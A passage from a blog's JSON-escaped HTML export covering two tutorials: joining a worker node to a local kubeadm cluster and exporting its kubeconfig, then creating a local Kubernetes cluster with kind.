#96D0FF\"\u003etoken\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecreate\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--print-join-command\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ekubeadm\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ejoin\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e192.168\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.64.7:6443\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--token\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewxs197.cco6mjj9ricvu8ov\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--discovery-token-ca-cert-hash\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esha256:bd01c065240fa76f30a02ecb70a8cea6e329c9678994d4da1f6ccac7694b97fb\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNow copy that command and run it with \u003ccode\u003esudo\u003c/code\u003e on the worker:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubeadm\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ejoin\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e192.168\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.64.7:6443\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--token\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewxs197.cco6mjj9ricvu8ov\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--discovery-token-ca-cert-hash\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esha256:bd01c065240fa76f30a02ecb70a8cea6e329c9678994d4da1f6ccac7694b97fb\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eAfter this completes it’ll take a minute or two for everything to be synced up but if you go\nback to the master node you should have 2 ready nodes now:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enodes\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSTATUS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eROLES\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                  \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAGE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eVERSION\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003econtrolplane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eReady\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtrol-plane,master\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e46\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003em\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ev1.23.5\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eworker\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e         \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eReady\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                 \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e79\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ev1.23.5\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch2\u003eAccessing the cluster outside of the VMs!\u003c/h2\u003e\n\u003cp\u003eNow the final part is to get the \u003ccode\u003eadmin.conf\u003c/code\u003e as a kubeconfig on your machine so you can control\nit from outside of the cluster.   To do this we can use scp\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003emultipass\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003etransfer\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtrolplane:/home/ubuntu/.kube/config\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elocal.config\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNormally kubernetes configuration is in ~/.kube/config but I like to maint a separate file for\neach cluster and then I set the \u003ccode\u003eKUBECONFIG\u003c/code\u003e env var to access it.\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eexport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eKUBECONFIG=local.config\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enodes\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSTATUS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eROLES\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                  \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAGE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eVERSION\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003econtrolplane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eReady\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtrol-plane,master\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e56\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003em\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ev1.23.5\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eworker\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e         \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eReady\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                 \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e11\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003em\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ev1.23.5\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","category":"Kubernetes","date":"2022-04-16T19:00:00-05:00","tags":["Linux","Kubernetes","DevOps","SRE"],"title":"Running a kubernetes cluster locally with kubeadm"},{"id":["2023","local_k8s_with_kind"],"path":"2023/local_k8s_with_kind","contentHtml":"\u003cp\u003ePreviously I \u003ca href=\"/blog/2022/local_kubeadm_cluster\"\u003eshowed\u003c/a\u003e how to run kubernetes\nlocally with \u003ccode\u003ekubeadm\u003c/code\u003e and VMs but sometimes that is overkill so I wanted to\nshow how to run \u003ca href=\"https://kind.sigs.k8s.io/\"\u003ekind\u003c/a\u003e which is \"kuberetes in\ndocker\".\u003c/p\u003e\n\u003ch1\u003eCreating your first cluster\u003c/h1\u003e\n\u003cp\u003ekind is a very flexible way to run kubernetes locally and allows you to run\nsingle node or multinode clusters while having the flexibility to use all\nthe features of kubernetes success as ingress.\u003c/p\u003e\n\u003cp\u003eTo create your first cluster it is as simple as running:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekind\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecreate\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecluster\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eCreating\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecluster\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"kind\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e...\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e✓\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eEnsuring\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enode\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eimage\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e (kindest/node:v1.27.3) 🖼 \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e✓\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ePreparing\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enodes\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e📦\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e✓\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eWriting\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econfiguration\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e📜\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e✓\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eStarting\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtrol-plane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e🕹️\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e✓\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eInstalling\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eCNI\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e🔌\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e✓\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eInstalling\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eStorageClass\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e💾\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eSet\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtext\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eto\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"kind-kind\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eYou\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecan\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enow\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003euse\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eyour\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecluster\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewith:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecluster-info\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--context\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekind-kind\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eHave\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ea\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003equestion,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ebug,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eor\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003efeature\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003erequest?\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eLet\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eus\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eknow!\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttps://kind.sigs.k8s.io/#community\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e🙂\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eYou now have a functioning kubernetes cluster and you\ncan view what it created:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ek\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enode\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                 \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSTATUS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eROLES\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAGE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eVERSION\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ekind-control-plane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eReady\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtrol-plane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e4\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003em26s\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ev1.27.3\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eYou can also verify that it is running inside docker:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003edocker\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eps\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eCONTAINER\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eID\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eIMAGE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                  \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eCOMMAND\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                  \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eCREATED\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e         \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSTATUS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e         \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ePORTS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                       \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNAMES\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e1c3ba74dc29b\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekindest/node:v1.27.3\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"/usr/local/bin/entr…\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e3\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eminutes\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eago\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eUp\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e3\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eminutes\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e127.0\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.0.1:59327\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e6443/tcp\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekind-control-plane\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch1\u003eMaking the cluster useful\u003c/h1\u003e\n\u003cp\u003eThere are a few things you'll notice with the command we ran 